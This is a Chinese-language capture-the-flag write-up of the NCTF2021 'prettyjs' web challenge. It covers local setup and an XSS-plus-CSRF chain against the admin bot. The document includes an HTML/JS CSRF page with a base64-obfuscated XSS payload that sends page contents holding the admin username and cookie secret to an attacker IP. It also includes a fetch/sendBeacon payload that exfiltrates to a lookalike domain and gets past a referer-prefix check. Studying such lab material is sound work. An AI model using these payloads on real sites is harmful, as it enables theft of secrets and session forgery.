NCTF prettyjs WP

网络与安全 创建于:2022-01-13

NCTF prettyjs

题目链接:

https://github.com/X1cT34m/NCTF2021/tree/main/web

官方WP:

https://mp.weixin.qq.com/s/djcrr8LrhZDsKwkVBJ6AVQ

这道题是比赛时没做出来,是一个非预期解的思路(主要是出题师傅的预期解思路学不会),本地复现这道题目需要 在docker 中配置https访问,不太了解https的原理可以看一下这篇文章:

https://www.jianshu.com/p/b0b6b88fe9fe

通过openssl生成一个自签名的 私钥和证书

openssl genrsa -des3 -out server.key 1024  //生成私钥 
openssl req -new -key server.key -out server.csr   //创建签名请求的证书(CSR),生成证书颁发机构,用于颁发公钥
openssl rsa -in server.key -out server_nopwd.key  //除去密码以便reload询问时不需要密码
openssl x509 -req -days 365 -in server.csr -signkey server.key -out server.crt //配置nginx最后标记证书使用上述私钥和CSR

之后将server.crt和server_nopwd.key复制到相应 credential.pem 和credential.key当中
请添加图片描述
修改一下.env的配置 ,设置 ADMIN_USERNAME 和COOKIE_SECRET
请添加图片描述
修改本地 hosts映射虚拟机的ip 和域名

172.24.235.158 yanshu.top

构建docker 镜像的 有时候会报错,所以改了一下 Dockerfile拆开中间的bash命令

# 拆开
RUN apt-get update &&\
    apt-get install -y wget gnupg
RUN wget -q -O - https://dl.google.com/linux/linux_signing_key.pub | apt-key add -
RUN sh -c 'echo "deb [arch=amd64] http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list'
RUN apt-get update &&\
    apt-get install redis-server sudo google-chrome-stable fonts-ipafont-gothic fonts-wqy-zenhei fonts-thai-tlwg fonts-kacst fonts-freefont-ttf libxss1 -y --no-install-recommends
RUN rm -rf /var/lib/apt/lists/*

访问https://域名就可以看见题目了。因为是自己签名的证书,浏览器会提示有风险,接收风险就可以看见自己的题目了

在 /api/template 这个路由下username 可控,存在Xss漏洞 (这也是出题师傅配置错的地方)
请添加图片描述
如果需要获取 /flag 就必须要 将 token.data =“readflag” 和获得 ADMIN_USERNAME
请添加图片描述

题目存在admin用户的bot 访问 /report 路由提交的url,由于cookie的samesite属性为none,存在csrf 漏洞让bot访问我们构造的页面,之后通过Xss漏洞获得 /api/template 泄露 ADMIN_USERNAME 和COOKIE_SECRET ,然后伪造token.data获取 flag,大致思路和流程图如下:

请添加图片描述
向 /report 路由提交url的时候,发现一直没有发出请求访问自己的页面,查看docker运行的日志才知道 ,使用puppeteer 访问本地的域名时,对openssl配的SSL证书会显示认证失效
请添加图片描述
所以 在puppeteer运行的参数加入这两条就跳过 证书验证的错误了

'--ignore-certificate-errors', 

'--ignore-certificate-errors-spki-list'

请添加图片描述

现在我们需要构造CSRF 构造的页面,目前有两个问题

1、存在Xss的页面 需要Post方法访问,而且不允许出现 "/"符号

2、需要跨域发起请求,且不能带Referer或者Referer的值能满足他的匹配规则

我的思路就是构造一个表单,用户访问网页就会自动带有Xss的payload的表单提交,但是这样的问题就是提交的过程会有带有referer值。后面找了一种解决办法,使用js 构造form 表单,然后通过iframe 提交,这样发起POST提交的数据没有了来源,解决了referer验证的问题

而Xss的payload 我用了body标签,这样可以不用闭合闭合标签出现 </>,而"http://"中的斜杠符号利用base64编码即可

xss payload:

<BODY ONLOAD="window.location.href='http://ip:8000?data='+document.body.innerText">

html页面:

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
</head>
<body>
<iframe src="" id="GoToUrl" height="1" width="100%" frameborder="0;"></iframe> 
<script type="text/javascript">
var sd=document.getElementById("GoToUrl");
window.onload=function(){ 
	var SdWindow=sd.contentWindow;
	var TheHtml="<form name=\"form\" method=\"POST\" action=\"https:\/\/\\yanshu.top/api/template\"><input type=\"hidden\" name=\"username\" value=\"\<BODY ONLOAD=eval(window.atob('d2luZG93LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly8xNzIuMzAuMTQ0LjE6ODAwMD9kYXRhPScrZG9jdW1lbnQuYm9keS5pbm5lclRleHQ'))\>\"><\/form>";
	console.log(TheHtml);
	SdWindow.document.body.innerHTML=TheHtml; 
	SdWindow.document.forms[0].target="_top"
	SdWindow.document.forms[0].submit();
}
</script>
</body>
</html>

监听相应的端口就可以接收到 ADMIN_USERNAME 和COOKIE_SECRET

请添加图片描述

本地起一个 nodejs express服务,使用同样的密钥生成cookie的签名值

请添加图片描述

byc404师傅给出的解法

因为referer只检测前缀,利用 https://prettyjs.bycsec404.top.xxxxx 这种域名来绕过 referer

然后Xss使用了fetch函数返回 页面的内容

fetch('https://prettyjs.bycsec404.top/api/template',{ body:"username=sss",method:"POST",mode:"cors",headers: {'Content-Type': 'application/x-www-form-urlencodud'},credentials: "include"}).then(r => r.text()).then(r => {
  navigator.sendBeacon('https://prettyjs.bycsec404.top.xjusec.club/t.php?msg='+btoa(r.toString().slice(700,850)));
});

请添加图片描述

参考链接:

https://www.jianshu.com/p/5f9bd492f186

https://blog.csdn.net/rztyfx/article/details/53958876

原文地址:https://blog.csdn.net/weixin_45887311/article/details/122440202

免责声明:本文来源于互联网,版权归合法拥有者所有,如有侵权请公众号联系管理员

* 本站提供的一些文章、资料是供学习研究之用,如用于商业用途,请购买正版。

鼹鼠yanshu